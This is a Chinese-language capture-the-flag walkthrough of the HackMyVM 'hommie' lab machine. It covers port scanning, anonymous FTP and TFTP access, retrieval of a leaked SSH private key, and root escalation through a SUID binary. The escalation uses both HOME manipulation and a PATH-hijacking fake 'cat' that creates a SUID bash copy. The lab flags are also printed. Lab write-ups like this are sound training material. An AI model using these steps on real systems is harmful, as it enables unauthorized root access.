主机发现

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# arp-scan -I eth1 -l

192.168.56.121  08:00:27:08:82:6e       PCS Systemtechnik GmbH
```

主机地址为：`192.168.56.121`

端口扫描

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# nmap -p- 192.168.56.121

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
```

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# nmap -sT -sC -sV -O -p21,22,80 192.168.56.121
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-30 02:48 CST
Nmap scan report for 192.168.56.121
Host is up (0.00083s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 0        0               0 Sep 30  2020 index.html
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.56.247
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 c6:27:ab:53:ab:b9:c0:20:37:36:52:a9:60:d3:53:fc (RSA)
|   256 48:3b:28:1f:9a:23:da:71:f6:05:0b:a5:a6:c8:b7:b0 (ECDSA)
|_  256 b3:2e:7c:ff:62:2d:53:dd:63:97:d4:47:72:c8:4e:30 (ED25519)
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:08:82:6E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
```

```
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2
- 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.42 seconds
```

开放了21，22和80三个端口，其中21的ftp版本有弱口令漏洞，用户名和密码都是`ftp`

探测80端口

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# curl 192.168.56.121

alexia, Your id_rsa is exposed, please move it!!!!!
Im fighting regarding reverse shells!
-nobody
```

说`alexia`的id_rsa泄露了

常规的目录枚举发现什么都没有

利用21端口弱口令漏洞

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# ftp 192.168.56.121
Connected to 192.168.56.121.
220 (vsFTPd 3.0.3)
Name (192.168.56.121:root): ftp
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
```

成功用`ftp`登录上去

```
ftp> ls -a
229 Entering Extended Passive Mode (|||24510|)
150 Here comes the directory listing.
drwxr-xr-x    3 0        113          4096 Sep 30  2020 .
drwxr-xr-x    3 0        113          4096 Sep 30  2020 ..
drwxrwxr-x    2 0        113          4096 Sep 30  2020 .web
-rw-r--r--    1 0        0               0 Sep 30  2020 index.html
226 Directory send OK.
```

```
ftp> cd .web
250 Directory successfully changed.
ftp> ls -a
229 Entering Extended Passive Mode (|||47785|)
150 Here comes the directory listing.
drwxrwxr-x    2 0        113          4096 Sep 30  2020 .
drwxr-xr-x    3 0        113          4096 Sep 30  2020 ..
-rw-r--r--    1 0        0              99 Sep 30  2020 index.html
226 Directory send OK.
```

有两个`index.html`文件，其中一个和80端口的内容一样，一个是空的

```
#.web目录下
ftp> pwd
Remote directory: /.web
ftp> get index.html webindex.html
local: webindex.html remote: index.html
229 Entering Extended Passive Mode (|||56726|)
150 Opening BINARY mode data connection for index.html (99 bytes).
100%
|*******************************************************************************
*******************|    99        2.05 MiB/s    00:00 ETA
226 Transfer complete.
99 bytes received in 00:00 (140.31 KiB/s)

#根目录下
ftp> cd ..
250 Directory successfully changed.
ftp> pwd
Remote directory: /
ftp> get index.html index.html
local: index.html remote: index.html
229 Entering Extended Passive Mode (|||49600|)
150 Opening BINARY mode data connection for index.html (0 bytes).
     0        0.00 KiB/s
226 Transfer complete.
ftp> quit
221 Goodbye.


┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# ls
index.html  webindex.html



┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# cat index.html

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# cat webindex.html
alexia, Your id_rsa is exposed, please move it!!!!!
Im fighting regarding reverse shells!
-nobody
```

UDP端口扫描

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# nmap -sU --top-ports 100 192.168.56.121
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-30 03:02 CST
Nmap scan report for 192.168.56.121
Host is up (0.00083s latency).
Not shown: 98 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
69/udp open|filtered tftp
MAC Address: 08:00:27:08:82:6E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 122.16 seconds
```

沃趣，我第一次扫也不这样啊💔

```
#第一次扫
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# nmap -sU --top-ports 100 192.168.56.121
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-30 03:07 CST
Nmap scan report for 192.168.56.121
Host is up (0.00080s latency).
All 100 scanned ports on 192.168.56.121 are in ignored states.
Not shown: 59 closed udp ports (port-unreach), 41 open|filtered udp ports (no-response)
MAC Address: 08:00:27:08:82:6E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 72.83 seconds
```

后面是扫top20才知到的

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# nmap -sU --top-ports 20 192.168.56.121
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-30 03:09 CST
Nmap scan report for 192.168.56.121
Host is up (0.00067s latency).

PORT      STATE         SERVICE
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
(...省略掉closed...)
```

tftp默认是无认证登录的

登录tftp

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# tftp 192.168.56.121
tftp> help
tftp-hpa 5.3
Commands may be abbreviated.  Commands are:
```

```
connect         connect to remote tftp
mode            set file transfer mode
put             send file
get             receive file
quit            exit tftp
verbose         toggle verbose mode
trace           toggle packet tracing
literal         toggle literal mode, ignore ':' in file name
status          show current status
binary          set mode to octet
ascii           set mode to netascii
rexmt           set per-packet transmission timeout
timeout         set total retransmission timeout
?               print help information
help            print help information
tftp>
```

tftp是没有`ls`的

基于找`id_rsa`，所以直接`get id_rsa`

```
tftp> get id_rsa
tftp> q

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# ls
id_rsa  index.html  webindex.html
```

登录alexia

```
┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# chmod 600 id_rsa

┌──(root㉿xhh)-[~/Desktop/xhh/HMV/hommie]
└─# ssh alexia@192.168.56.121 -i id_rsa
(...)
alexia@hommie:~$
```

user.txt

```
alexia@hommie:~$ cat user.txt
Imnotroot
```

提权

```
alexia@hommie:~$ ls -al /opt
total 28
drwxr-xr-x  2 root root  4096 Sep 30  2020 .
drwxr-xr-x 18 root root  4096 Sep 30  2020 ..
-rwsr-sr-x  1 root root 16720 Sep 30  2020 showMetheKey
```

搜寻常规的`tmp，home，opt`时，在`opt`下发现带`SUID`权限的文件

执行发现是之前泄露的密钥

查看 `showMetheKey`

```
alexia@hommie:/opt$ strings showMetheKey
(...)
cat $HOME/.ssh/id_rsa
```

看到这条命令，两种直接思路，命令劫持和环境变量劫持

环境变量劫持提权

```
#更改环境变量
alexia@hommie:/opt$ export HOME=/root
alexia@hommie:/tmp$ $HOME
-bash: /root: Is a directory
#更改成功
alexia@hommie:/opt$ ./showMetheKey
-----BEGIN OPENSSH PRIVATE KEY-----
(...不一样的私钥...)
-----END OPENSSH PRIVATE KEY-----
```

拿私钥登录root就可以了

cat命令劫持提权

```
#恢复环境后
alexia@hommie:/tmp$ $HOME
-bash: /home/alexia: Is a directory
#在tmp目录下写入恶意命令到同名文件cat中，并给cat执行权限
alexia@hommie:/tmp$ echo "cp /bin/bash /tmp/xhh; chmod +s /tmp/xhh" > cat
alexia@hommie:/tmp$ chmod +x cat
#将 /tmp 目录添加到系统环境变量 PATH 的最前端
alexia@hommie:/tmp$ export PATH=/tmp:$PATH
alexia@hommie:/tmp$ $PATH
-bash: /tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games: No such
file or directory
#更改成功执行showMetheKey
alexia@hommie:/tmp$ /opt/showMetheKey
alexia@hommie:/tmp$ ls -al
total 1180
drwxrwxrwt  8 root   root      4096 Nov 29 14:32 .
drwxr-xr-x 18 root   root      4096 Sep 30  2020 ..
-rwxr-xr-x  1 alexia alexia      41 Nov 29 14:31 cat
-rwsr-sr-x  1 root   root   1168776 Nov 29 14:32 xhh
#成功生成带s权限的xhh
```

```
alexia@hommie:/tmp$ xhh -p
xhh-5.0# id
uid=1000(alexia) gid=1000(alexia) euid=0(root) egid=0(root)
groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(
netdev),1000(alexia)
xhh-5.0#
```

得到root权限

root.txt

```
root@hommie:~# ls
note.txt
root@hommie:~# cat note.txt
I dont remember where I stored root.txt !!!
#找一下就行了
root@hommie:~# find / -name "root.txt"
/usr/include/root.txt
root@hommie:~# cat /usr/include/root.txt
Imnotbatman
```